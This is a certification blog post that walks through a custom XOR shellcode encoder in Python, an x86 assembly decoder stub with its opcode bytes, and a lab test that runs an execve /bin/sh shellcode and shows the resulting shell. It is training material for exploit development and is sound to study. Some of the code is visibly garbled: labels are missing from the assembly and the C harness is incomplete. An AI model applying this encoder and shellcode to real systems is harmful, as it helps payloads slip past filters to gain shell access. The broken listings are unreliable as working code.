This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1202

TL;DR: Final shellcode is here

Welcome again! Today we are going to talk about shellcode encoding schemes.

Encoding is a well-known technique that allows attacker to avoid bad characters in his shellcodes. When all other possible solutions (like manipulation with opcodes and instructions) are exhausted, you will use some encoder to encode your shellcode and make it satisfy your bad char requirements.

If you are using metasploit-framework, you definitely know such encoders like “shikata ga nai” or “alphanumeric” that will work this dirty work for you.

Today I present you my custom, semi-esoteric shellcode encoder.

Why semi-esoteric? Well, I have already written a nice shellcode XOR encoder that will find a XOR key, apply it and generate a final shellcode that you can use, and now I just wanted to try much interesting things with a small touch of fun :D


Ok, let’s imagine that we are living in a world where XOR operations is very-very-very slow. Slow as in ‘Sloooooooooooooooooow’. And there is only one acceptable encoding scheme - xor encoding.

But we can’t just take a whole shellcode, generate a key and encode it, because we will process this during a day, or may be a month! And “nothing can be done about it”. In this case, you should use XOR operation very carefully.

Well, even in this case, we still have a chance, because actually we don’t need to xor every byte in our shellcode. Then we can just encode bad chars in the shellcode and keep “not-so-bad” bytes as they are.

Let’s try to implement it!


I will use python to write encoder script. Let’s assume that this is single language in the our imaginary world.

We are going to encode only bad characters in our shellcode to reduce possible xor-calls. In this case, we should:

  • generate the xor-key based only on bad chars list
  • store positions where are some bad chars in our shellcode.

Then, our decoder program will take this position list and this key, and perform xor to decode encoded bad characters in memory.

Sounds good. I wrote a small encoder script to implement this:

# Python Semi-Esoteric XOR Encoder

import sys

# Attempting to find proper XOR key to hide bad chars
def find_key(bad_bytes):
    for key in range(0, 256):
        suitable = True

        for bad_byte in bad_bytes:
            encoded_byte = bad_byte ^ key

            if encoded_byte in bad_bytes:
                suitable = False
                suitable_key = key

        if suitable:
            return key

    return -1

if len(sys.argv) < 2:
    print "./ shellcode badchars"

shellcode = sys.argv[1].decode('string-escape')
bad_chars = sys.argv[2].decode('string-escape')

encoded_c = ""

shellcode = "\x90" + shellcode
plain_bytes = bytearray(shellcode)
shellcode_length = len(plain_bytes)

bad_bytes = bytearray(bad_chars)

key = find_key(bad_bytes)

encoded_c = ""
positions = ""
for i in range(0, len(plain_bytes)):
    current_byte = plain_bytes[i]

    if current_byte in bad_bytes:
        positions += '\\x%02x' % i
        current_byte = current_byte ^ key
    encoded_c += '\\x%02x' % current_byte
print "Encoded Shellcode: " + encoded_c
print "Bad Chars Positions: " + positions

There are a couple of interesting moments:

  • I append “\x90” byte before shellcode to ensure that there won’t be any bad characters with 0x00 index. Of course, it doesn’t work if 0x90 is a bad char itself.
  • I don’t check all shellcode bytes during key generation process, because we don’t xor all bytes of the shellcode, but only bad chars.

Ok, now we have a tool that will accept our shellcode and list of badchars in arguments, and give us encoded shellcode.

Let’s try to write the decoder for this scheme.


Ok, in two words, our decoder should iterate shellcode bytes (with encoded bad chars) and on each step compare shellcode byte number with a list of encoded bytes. After that, it should decode encoded bad char and continue the iterating process.

Here is a full code of my decoder:

; encoder.asm
; Author: German Namestnikov

global _start

section .text
    jmp short call_decoder

    pop esi		; esi points to the shellcode       
    mov edi, esi

    xor eax, eax
    mov al, !LENGTH!    ; shellcode length

    add edi, eax	; edi points to the positions    

    xor ecx, ecx        ; index of shellcode byte

    cmp cl, byte [edi]
    jnz next

    xor byte [esi], !KEY!
    inc edi

    inc esi
    inc ecx   

    dec eax
    jz shellcode
    jmp iterate_shellcode
    call decoder
    shellcode: db !SHELLCODE!
    positions: db !BADCHARSINDEXES!

The ‘iterate_shellcode’ part is responsible for comparation and decoding procedures. The ‘next’ part implements iteration process. Yes, I named these parts wrong, my mistake. But in other - I hope - the logic is easy to understand.

Now we can write a random data instead of my ‘flags’ with ‘!*!’ names, compile it and make a shellcode of our decoder. It may be very useful to paste this shellcode into our encoder script to make it able to print a whole encoded shellcode with embedded decoder.

Attach this to encoder script or just check my Repo:

final = "\\xeb\\x1a\\x5e\\x89\\xf7\\x31\\xc0\\xb0" + "\\x%02x" % shellcode_length + "\\x01\\xc7\\x31\\xc9\\x3a\\x0f\\x75\\x04\\x80\\x36" + "\\x%02x" % key + "\\x47\\x46\\x41\\x48\\x74\\x07\\xeb\\xf1\\xe8\\xe1\\xff\\xff\\xff" + encoded_c + positions


Ok, let’s test our encoder and decoder with EXECVE shellcode:

1. Generate encoded shellcode with a random set of bad characters:

german@slae-lab:~/slae-shellcoding/assignment_4$ python "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80" "\x80\x31\xc0"


2. Open your executor program and paste your encoded shellcode into it:

german@slae-lab:~/slae-shellcoding/assignment_4$ vim executor.c 
german@slae-lab:~/slae-shellcoding/assignment_4$ cat executor.c 

unsigned char shellcode[] = 

int main()
    printf("Shellcode Length: %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;

3. Compile your executor program and run the binary:

german@slae-lab:~/slae-shellcoding/assignment_4$ gcc -fno-stack-protector -z execstack executor.c -o executor
german@slae-lab:~/slae-shellcoding/assignment_4$ ./executor 
Shellcode Length: 65
$ id
uid=1000(german) gid=1000(german) groups=1000(german),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ whoami
$ hostname

It works!


There are a lot of encoding schemes available in the Internet. Xor encoding is a pretty nice and allows you to hide any bad characters in your shellcode. In other cases, for example, if you need only alpha-numeric shellcodes, you should use advanced encoders that changes shellcode instructions, not encode their opcodes.

Hope that this was a nice demo of encoding concept!

You can find all code in my repo.

Good Luck!

The end